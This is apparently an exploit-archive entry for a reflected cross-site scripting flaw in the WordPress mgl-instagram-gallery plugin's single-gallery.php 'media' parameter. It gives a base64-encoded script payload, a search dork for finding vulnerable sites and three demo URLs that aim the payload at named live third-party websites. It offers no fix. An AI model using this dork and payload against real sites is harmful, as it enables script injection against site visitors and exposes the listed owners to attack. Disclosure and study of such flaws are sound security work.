[+] Title: WordPress mgl-instagram-gallery Plugin Cross Site Scripting (XSS) [+] Author: Mostafa Gharzi [+] Vendor Homepage: www.Wordpress.org , www.pluginu.com/mgl-instagram-gallery/ [+] Tested on: Windows 10 & Kali Linux [+] Vulnerable File: single-gallery.php [+] Vulnerable Parameter: Get Method [+} Dorks : inurl:/wp-content/plugins/mgl-instagram-gallery/single-gallery.php?media= ### XSS Alert Code Encoded by Base64: [+] Example: "><script>alert('xss');</script> ==> Base64 Algorithm ==> Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTs8L3NjcmlwdD4= ### POC: [+] http://site/wp-content/plugins/mgl-instagram-gallery/single-gallery.php?media=[XSS Alert Code Encoded by Base64] ### Demo: [+] http://www.northbeachbandshell.com/wp-content/plugins/mgl-instagram-gallery/single-gallery.php?media=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTs8L3NjcmlwdD4= [+] http://lauklines.no/wp-content/plugins/mgl-instagram-gallery/single-gallery.php?media=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTs8L3NjcmlwdD4= [+] http://gourmetbistro.ca/wp-content/plugins/mgl-instagram-gallery/single-gallery.php?media=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTs8L3NjcmlwdD4= ### Special Thanks: [+] CertCC.ir [+] Gucert.ir